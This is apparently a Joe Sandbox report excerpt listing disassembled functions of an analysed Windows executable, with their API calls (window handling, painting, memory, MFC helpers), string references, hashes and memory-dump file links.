Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$LongParent$ClassDesktopFocusMessageNameSendlstrcmpi
String ID:
API String ID: 2818563221-0
Opcode ID: 28dc875c2925eeb3eb139b6aa2aa05e157ccb42c5b513f909e64acc63a5978d8
Instruction ID: ab8c9275ea73ece02c2c9919e59ec180e0105c020edc5fd41a08720b7cd3d762
Opcode Fuzzy Hash: 28dc875c2925eeb3eb139b6aa2aa05e157ccb42c5b513f909e64acc63a5978d8
Instruction Fuzzy Hash: 3BF0F4316416212ADE323B3D5C49F6F6D585B8AB91F19053EFD01E33D1AB698C0280AC

Function 00499285 Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00499294
GetWindow.USER32(?,00000005), ref: 004992A5
GetDlgCtrlID.USER32(00000000), ref: 004992AE
GetWindowLongA.USER32(00000000,000000F0), ref: 004992BD
GetWindowRect.USER32(00000000,?), ref: 004992CF
PtInRect.USER32(?,?,?), ref: 004992DF

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 983364827fc81419f7ece9e4839ec746ef203f0e6775b102d07e2b77f3cc6e33
Instruction ID: ab815e7c4481fa2cfcfd6f4cd8ede8b7990143f90a0f998055f6994530314d5b
Opcode Fuzzy Hash: 983364827fc81419f7ece9e4839ec746ef203f0e6775b102d07e2b77f3cc6e33
Instruction Fuzzy Hash: 8F01783610412ABBDB119FAC9C48EEF7F6CEF4A310F448436F901D61A0E63489168BA8

Function 00412AB0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 00412AF6
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00412B7D
GetCurrentObject.GDI32(?,00000006), ref: 00412C0A
GetClientRect.USER32(?,?), ref: 00412C7C

Part of subcall function 004988F5: __EH_prolog.LIBCMT ref: 004988FA
Part of subcall function 004988F5: EndPaint.USER32(?,?,?,?,0040D8E3), ref: 00498917

Strings

\[J, xrefs: 00412CAD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: H_prologPaintRect$BeginClientClipCurrentEmptyObject
String ID: \[J
API String ID: 3717962522-1436623575
Opcode ID: 105181172f00a61b73d5b4d85f37de14bf2095d96a20a125fc8eeacebdda1205
Instruction ID: a431bc6e532d07e18900bd424e7e9ee705fbe808f6eccac3e309e01c2ae4b825
Opcode Fuzzy Hash: 105181172f00a61b73d5b4d85f37de14bf2095d96a20a125fc8eeacebdda1205
Instruction Fuzzy Hash: AD619F711083419FC724DF25C945FABBBE8AB99314F00492EF19683291DB78A948CB66

Function 0041F280 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 0041F384
GlobalReAlloc.KERNEL32(00000000,00000000,00000002), ref: 0041F38E

Part of subcall function 0049AA8A: __EH_prolog.LIBCMT ref: 0049AA8F

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

Strings

hcJ, xrefs: 0041F3C6
hcJ, xrefs: 0041F49F
lcJ, xrefs: 0041F300

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$AllocDecrementH_prologInterlockedUnlock
String ID: hcJ$hcJ$lcJ
API String ID: 2641609054-536754574
Opcode ID: 401c6181f2e529174da054a6c2c0f35122d28550fc7c07a747c5fbd1f6ff15e5
Instruction ID: 6abde0fae57703c21ccdb7da278b7ed14fbf260d2c3c2627491d074ba64230eb
Opcode Fuzzy Hash: 401c6181f2e529174da054a6c2c0f35122d28550fc7c07a747c5fbd1f6ff15e5
Instruction Fuzzy Hash: DD518A74901288DFDF14EBA4C945BEDBBB0AF65304F1481AEE40577282DB7C1B49CB66

Function 00485B7A Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00485B99
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00485BCE
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00485C2E

Strings

__MSVCRT_HEAP_SELECT, xrefs: 00485BC9
__GLOBAL_HEAP_SELECTED, xrefs: 00485C08

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 463e941c45d13d36d8bdc67a6bd731044d33b3591856874f8d3eeac749c3e80e
Instruction ID: 52e227fcfd98605b256ff337ea84abc25d6ad2a1594469590b282dfaf7c10469
Opcode Fuzzy Hash: 463e941c45d13d36d8bdc67a6bd731044d33b3591856874f8d3eeac749c3e80e
Instruction Fuzzy Hash: 293126719017886EEB35B7705C41BEE3BA89B16304F140CDBE086D6242E67C9EC58F19

Function 00493E80 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00493F39
GetWindowLongA.USER32(?,000000FC), ref: 00493F4A
GetWindowLongA.USER32(?,000000FC), ref: 00493F5A
SetWindowLongA.USER32(?,000000FC,?), ref: 00493F76

Strings

(, xrefs: 00493F24

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: 56a03b5e4d5f7fc37c54710fcb6de1a86191e52973a5205dca67d15a414c60b7
Instruction ID: 9555cc38bbc6392bd146631cff986b555258f3ecdb479983e40420872874e2ea
Opcode Fuzzy Hash: 56a03b5e4d5f7fc37c54710fcb6de1a86191e52973a5205dca67d15a414c60b7
Instruction Fuzzy Hash: 5931CD306007009FDF21AF69C884A5EBFF4FF4A716F10417EE14297291CB38E9048B99

Function 004285D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004281B0: GetObjectA.GDI32(?,00000018,?), ref: 004281ED
Part of subcall function 004281B0: GetDeviceCaps.GDI32 ref: 00428287
Part of subcall function 004281B0: GetSystemPaletteEntries.GDI32(?,00000000,000000FF,00000004), ref: 004282C1
Part of subcall function 004281B0: CreatePalette.GDI32(00000000), ref: 004282CC

GlobalAlloc.KERNEL32(00000002,?), ref: 0042865A
GlobalLock.KERNEL32(00000000), ref: 00428675
GlobalUnlock.KERNEL32(00000000), ref: 0042868E

Strings

xjJ, xrefs: 004286E1
`jJ, xrefs: 004286B2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$Palette$AllocCapsCreateDeviceEntriesLockObjectSystemUnlock
String ID: `jJ$xjJ
API String ID: 1348334340-3512718701
Opcode ID: 67d9ad70f057a17dfa73f83c14bd85a288171ceaa8baf69328dbe284843a3635
Instruction ID: f9ff76f2b9f3c1b6ca46f8afb48e4ea4bc059a390237513ae727f66aacf147c9
Opcode Fuzzy Hash: 67d9ad70f057a17dfa73f83c14bd85a288171ceaa8baf69328dbe284843a3635
Instruction Fuzzy Hash: 913190B12093418FC304EF19D885A6FFBE4FBD5758F444A2EF48593281DB789908C7A6

Function 0049C11E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0049C14F

Part of subcall function 0049C23B: lstrlenA.KERNEL32(00000104,00000000,?,0049C17F), ref: 0049C272

lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0049C1F0
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0049C21D

Strings

.INI, xrefs: 0049C217
.HLP, xrefs: 0049C1EA

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: 9b0fb690798d576c60071f943ce6b540a2d9a9caba131781936186645edc0a56
Instruction ID: 2fb4a3de492bd7aea2b8d46768a2c9887f46061451a51946a69e37c61085489f
Opcode Fuzzy Hash: 9b0fb690798d576c60071f943ce6b540a2d9a9caba131781936186645edc0a56
Instruction Fuzzy Hash: F231B6B68003089FDB21EF75C885BC6BBFCBB04304F1049BBE185D2151DB74A9808F58

Function 004997EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00499966: GetParent.USER32(?), ref: 00499999
Part of subcall function 00499966: GetLastActivePopup.USER32(?), ref: 004999A8
Part of subcall function 00499966: IsWindowEnabled.USER32(?), ref: 004999BD
Part of subcall function 00499966: EnableWindow.USER32(?,00000000), ref: 004999D0

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00499824
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00499892
MessageBoxA.USER32(00000000,?,?,00000000), ref: 004998A0
EnableWindow.USER32(00000000,00000001), ref: 004998BC

Strings

#I, xrefs: 004997EE

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID: #I
API String ID: 1958756768-1132450449
Opcode ID: 398db8791ab3abdd0a26d873cbd9d965f4a0283eb95dcff6a26b1c65757a4542
Instruction ID: 3f5c67261fab7d38c438f2f718b206edda3f21d781e304f49cb18fd8c10cc4b1
Opcode Fuzzy Hash: 398db8791ab3abdd0a26d873cbd9d965f4a0283eb95dcff6a26b1c65757a4542
Instruction Fuzzy Hash: 27219E72A10108AFDF20EF99CC81AAEBFB9EB45740F14047EE615E7290D7759D408B94

Function 004280B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 004280F0
GlobalSize.KERNEL32(?), ref: 00428113
GlobalSize.KERNEL32(?), ref: 00428143
GlobalUnlock.KERNEL32(?), ref: 00428153

Strings

BM, xrefs: 0042810D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$Size$LockUnlock
String ID: BM
API String ID: 2233901773-2348483157
Opcode ID: c4b14c001f1991834e3839dc78c3a14905e40202c98c760062489c74b39e426a
Instruction ID: c3b016bf68dc40514b3c5fd238767f5282c307941712023c971a1ae09d8565a6
Opcode Fuzzy Hash: c4b14c001f1991834e3839dc78c3a14905e40202c98c760062489c74b39e426a
Instruction Fuzzy Hash: AF21DD76A00218ABC710DFA9D845BDDFBB8FF49720F04416EE819F3391D77899008BA9

Function 0044C1D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000002D), ref: 0044C1F9
SystemParametersInfoA.USER32 ref: 0044C253
CreateFontIndirectA.GDI32(?), ref: 0044C261
CreatePalette.GDI32(00000300), ref: 0044C2B9

Strings

t2L, xrefs: 0044C28A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateSystem$FontIndirectInfoMetricsPaletteParameters
String ID: t2L
API String ID: 934993634-1050886228
Opcode ID: ef3623a2838534977234adda3fe395e12f4c568139358a69c3d8071765038e23
Instruction ID: e34e54bec98e850da82a356cb297377830a086c8a6367cd87a2b77d1dec4159c
Opcode Fuzzy Hash: ef3623a2838534977234adda3fe395e12f4c568139358a69c3d8071765038e23
Instruction Fuzzy Hash: E5318FB5405B408FD320CF69C888AABFBF5FF85304F44896EE19A8B751DBB5A408CB51

Function 00494399 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004943CF
wsprintfA.USER32 ref: 004943EB
GetClassInfoA.USER32(?,-00000058,?), ref: 004943FA

Strings

Afx:%x:%x:%x:%x:%x, xrefs: 004943E5
Afx:%x:%x, xrefs: 004943C9

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf$ClassInfo
String ID: Afx:%x:%x$Afx:%x:%x:%x:%x:%x
API String ID: 845911565-79760390
Opcode ID: 96468e855a36740a2e92420ad10cef32a4cf48565c860f318d367c7a6cdb689c
Instruction ID: 8b686b855814d7487ff59e2947f80d8d78f863abb1a3a000be968290a498513a
Opcode Fuzzy Hash: 96468e855a36740a2e92420ad10cef32a4cf48565c860f318d367c7a6cdb689c
Instruction Fuzzy Hash: 94212F71A00219AF8F10DF95D981DEF7FB8FF99344B00407BF915E2211E77489518BA9

Function 0041FD70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconA.SHELL32(00000001,?,?,00000058), ref: 0041FDE9
DestroyIcon.USER32(?,?,?,00000058), ref: 0041FDF6
Shell_NotifyIconA.SHELL32(?,?,00000000,00000058), ref: 0041FE29

Strings

X, xrefs: 0041FD87
d, xrefs: 0041FD99

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
